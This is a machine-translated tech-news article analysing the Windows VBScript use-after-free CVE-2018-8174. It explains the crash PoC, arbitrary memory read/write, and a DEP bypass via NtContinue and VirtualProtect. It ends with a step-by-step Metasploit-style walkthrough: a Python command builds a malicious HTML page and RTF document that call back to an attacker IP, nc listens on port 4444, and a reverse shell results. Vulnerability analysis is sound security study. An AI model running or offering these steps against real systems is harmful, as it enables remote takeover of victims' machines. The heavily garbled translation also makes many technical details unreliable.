Shulou(Shulou.com)05/31 Report--

This article shows you the Windows VBScript engine remote execution code vulnerability CVE-2018-8174 analysis and utilization is how, the content is concise and easy to understand, absolutely can make your eyes bright, through the detailed introduction of this article, I hope you can get something.

Brief introduction of vulnerabilities

A remote code execution vulnerability exists in the way the VBScript engine handles objects in memory. The vulnerability could corrupt memory in a way that an attacker can execute arbitrary code in the context of the current user. An attacker who successfully exploits this vulnerability can gain the same user privileges as the current user. If the current user logs in with administrative user privileges, an attacker who successfully exploits this vulnerability can take control of the affected system. The attacker can then install the program; view, change, or delete data; or create a new account with full user privileges.

In a Web-based attack scenario, an attacker can exploit a specific website for this vulnerability via Internet Explorer, and then induce users to view the site. An attacker can also embed an ActiveX control marked "safe initialization" in an application or Microsoft Office document that hosts the IE rendering engine. Attackers can also take advantage of compromised websites and sites that accept or host content or advertisements provided by users. These sites may contain tailor-made content that may exploit this vulnerability.

On May 8, 2018, Microsoft released a security patch that affected most popular system versions.

Basic information about vulnerabilities

Vulnerability IDCVE-2018-8174 vulnerability name Microsoft VBScript engine remote code execution vulnerability type remote code execution threat type UAF affects system versions Windows 7 x86 and x64 versions, RT8.1, Server2008 and R2max 2012 and R2max 2016, 8.1, 10 and server versions vulnerability testing system environment Win7 32IEIE8EXP https://www.exploit-db.com/exploits/44741/ vulnerability principle

Due to the serious confusion of samples, some of the code is shown in figure 1. Here, simplified POC is used for analysis, and the code is shown in figure 2.

Figure 1 serious confusion is used in the sample

Figure 2 Crash Poc

Crash Poc defines two arrays array_a and array_b, declares a class MyTest, and overloads the instance of creating MyTest in the destructor Class_Terminate,UAF to assign values to the array array_a (1), and clears the elements in the array_a through Erase array_a, which triggers the call to Class_Terminate in the script when the elements in the array_a are destructed Add an array_b (0) reference to the MyTest instance (MyTest instance reference count + 1) in the Class_Terminate, and then balance the reference count by deleting the array_a (1) reference to the MyTest instance (MyTest instance reference count-1). In this case, the MyTest instance will be released, but array_b (0) still retains the reference to the MyTest instance. Thus array_b (0) points to the memory of the freed MyTest instance and eventually triggers the vulnerability in MyTestVuln by accessing unallocated memory through b (0) = 0.

When we run this PoC in an IE browser with page heap enabled, we can observe that the OLEAUT32destroy VariantClear function crashes: an access violation (Access Violation) exception occurs while calling the freed memory.

From the heap information, you can see that eax (0x14032fd0) is released in the call stack of vbscriptroomVbsErase, which corresponds to Erase in the script, and eax is the VBScriptClass object released by the VBScriptClass::Release function, that is, the MyTest instance in the script. The logic of VBScriptClass::Release is shown below:

In VBScriptClass::Release, the reference count of VBScriptClass is-1 (& VBScriptClass+0 × 4). If the reference count is 0, VBScriptClass::TerminateClass is called. When VBScriptClass::TerminateClass is called, because the Class_Terminate function is overloaded in the script, you get a chance to execute the script. Here, you can save the soon-to-be-released VBScriptClass memory address in the script-controlled variable (Set array_b (0) = array_a (1)) before freeing VBScriptClass memory. The reference count is balanced by array_a (1) = 1, and the memory is finally freed.

When Set array_a (1) = New MyTest, the VBScriptClass reference count is 2.

After Erase array_a returns, the memory pointed to by MyTest has been released, but array_b (0) still points to the freed memory, forming a dangling pointer, as shown in the following figure:

Vulnerability exploitation analysis

The key to exploiting UAF vulnerabilities is how to manipulate memory with this dangling pointer. The vulnerability uses multiple UAF to complete type obfuscation, forges an array object to read and write any address, and finally obtains code execution by constructing the object and releasing it. The code execution does not use traditional ROP technology or GodMod technology, but is exploited by script layout Shellcode.

Forge an array to achieve an arbitrary writing purpose

Through UAF, the mem members of the two classes point to a difference of 0x0c bytes, and forge an array of 0x7fffffff size by reading and writing to the mem members of the two objects.

The forged array is roughly an one-dimensional array with 7fffffff elements, each occupying 1 byte and an element memory address of 0. So the memory space accessible to the array is from 0x00000000 to 0x7ffffffff*1. Therefore, any address can be read and written through the array. However, when lIlIIl is stored, the storage type is string, so you only need to change the data type to 0x200C, that is, VT_VARIANT | VT_ARRAY, the array type.

In the attack code, the above function is mainly used to read the data of the memory address specified by the parameter. The idea is that the data type in VBS is bstr type, and through the characteristic that lenb (bstrxx) in vb returns the content of the first 4 bytes of string address (that is, the content of bstr type size domain), the specified memory reading ability can be obtained. As shown in the above code, if the parameter passed in is addr (0x11223344), first add 4 to 0x11223348, and then set the variant type to 8 (string type). Then call the len function and find that it is of type BSTR, and vbscript will think that the first 4 bytes, that is, 0x11223344, is the address memory of the storage length. So executing the len function actually returns the value that sets the memory address of the parameter.

Get it through DOSmodeSearch.

By revealing the virtual function table address of the CScriptEntryPoint object, this address belongs to Vbscript.dll.

Because msvcrt.dll is imported into vbscript.dll, the msvcrt.dll base address is obtained by traversing the vbscript.dll import table, kernelbase.dll and ntdll.dll are introduced into msvcrt.dll, and finally the addresses of NtContinue and VirtualProtect functions are obtained.

Bypass DEP to execute shellcode

a. Use any means of reading and writing to modify the type type of a VAR to 0x4d, and then assign a value of 0 to let the virtual machine execute the VAR::Clear function, as shown in the following figure.

b. Through careful control, the code executes the ntdllparameters ZwContinue function, and the first parameter CONTEXT structure is also carefully constructed by the attacker, as shown in the figure below.

The first parameter to c.ZwContinue is a pointer to the CONTEXT structure, which calculates the offset of EIP and ESP in CONTEXT.

d. The values of Eip and Esp in the actual runtime CONTEXT and the methods of the attacker are shown in the following figure.

The attacker sets EIP in CONTEXT to VirutalProtect, and sets the return address in ESP and the first parameter of VirtualProtect to the starting address of shellcode. When ZwContinue is executed, jump directly to the first instruction of VirtualProtect to start execution.

According to the parameters constructed by the attacker, the memory in which the shellcode is located is set to the executable state, and when the VirtualProtect returns, it will jump to shellcode execution.

Finally, call the WinExec pop-up calculator.

MSF utilization

Environmental preparation

Target machine Win7 and installation of office attack machine Kali linuxMsf component https://github.com/Sch01ar/CVE-2018-8174_EXP with this vulnerability

Generate html pages and word documents with malicious VBscript

Python CVE-2018-8174.py-u http://192.168.106.139/exploit.html-o msf.rtf-I 192.168.106.139-p 4444

Copy explot.html to the / var/www/html directory

Copy msf.rtf to the / root/.msf4/local directory.

Enable the apache service

Nc listens on port 4444

Open malicious URL in the target's IE browser, or open word to open msf.rtf

Received bounce shell

The above is the analysis and utilization of Windows VBScript engine remote execution code vulnerability CVE-2018-8174. Have you learned the knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.